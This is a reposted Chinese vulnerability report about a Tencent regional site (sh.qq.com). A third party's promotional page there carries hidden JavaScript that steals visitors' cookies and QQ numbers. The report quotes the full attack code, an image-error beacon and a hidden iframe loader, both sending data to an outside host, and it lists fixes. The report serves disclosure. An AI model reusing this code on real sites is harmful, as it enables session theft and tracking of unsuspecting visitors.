利腾讯大申网专题放置JS盗取用户cookies获取QQ及修-自学php网

利腾讯大申网专题放置JS盗取用户cookies获取QQ及修

来源：自学PHP网时间：2015-04-16 23:14 作者：阅读:次

[导读] 大申网专题审核不严，添加JS获取用户COOKIE，进而获取访客QQ号在内的COOKIE信息详细说明：利用购买的大申网（sh qq com）的专题上面放置JS，来获取访客COOKIES信息，进而提取访客QQ号，进...

大申网专题审核不严，添加JS获取用户COOKIE，进而获取访客QQ号在内的COOKIE信息

详细说明：

利用购买的大申网（sh.qq.com）的专题上面放置JS，来获取访客COOKIES信息，进而提取访客QQ号，进行针对性营销。

1.大申网上添加JS，获取cookies

sh.qq.com/zhuanti/adv/xgl.htm

document.write("<div style='display:none;'><img style=\"visibility:hidden\" onerror=\"this.src='http://qq.91jlz.com/?'+escape(document.cookie);\" src=\"http://w\" /></div>");

2.在网站中隐身加载加有cookie盗取的专题页：

;(function () {

var f = document.createElement('iframe'), a={id:'SKg-Ping',width:0, height:0, frameborder:0, scrolling:'no', onload:'var f=document.getElementById("SKg-Ping"); try{f.parentElement.removeChild(f);}catch(e){} delElement();'};

for(k in a) f.setAttribute(k, a[k]);

f.src='http://sh.qq.com/zhuanti/adv/xgl.htm?cj1odHRwJTNBJTJGJTJGYXh6LmZkbms5MS5jb20lMkYmZD1mZG5rOTEuY29tJnQ9JUU1JThDJUJCJUU5JTk5JUEyJUU0JUJCJThCJUU3JUJCJThELSVFNCVCOCU4QSVFNiVCNSVCNyVFNSVBNCU4RCVFNSVBNCVBNyVFNyU5RiVBRSVFNSVCMCU4RiVFNyU5NyU4NyVFNSU4QyVCQiVFOSU5OSVBMiZpZD0zNiZwPWh0dHAlM0ElMkYlMkZheHouZmRuazkxLmNvbSUyRnpqZmQlMkZ5eWpzJTJGJnRva2VuPTBmODdmZDc1NDQ2NDhkYTIzZjlhOTUzZjBiNTg3Yzgw';

document.body.appendChild(f);

delete f;



    window.delElement = function(){

        var ct = setInterval(function(){

            if((typeof LR_sid === 'string')&&(LR_sid.length>20)){

                window.clearInterval(ct);

                var f = document.createElement('script');

                f.src='http://qq.91jlz.com/cnzz.php?sid='+ LR_sid +'&r=0f87fd7544648da23f9a953f0b587c80';

                document.body.appendChild(f);

                delete f;

            }

        },2000);

    }



})();

有针对性的获取访客的IP,地区，QQ号，搜索关键词，访问页面地址，停留时间，这样就是一份精准的针对性的营销方式了。

当然盗取的cookies还有其它啥用途，暂未有机会测试。

检查这个专题的JS即知：http://sh.qq.com/zhuanti/adv/xgl.htm

修复方案：

1.加强对合作伙伴的审核

2.静态专题没必要放那么cookie或httponly

3.静止静态页被iframe

set 'X-Frame-Options' to 'SAMEORIGIN'

360网站宝/安全宝/加速乐及其他类似产品防护绕过

Discuz的利用UC_KEY进行getshell - 网站安全 - 自学ph

子栏目

利腾讯大申网专题放置JS盗取用户cookies获取QQ及修

最新评论

添加评论

更多文章推荐

添加评论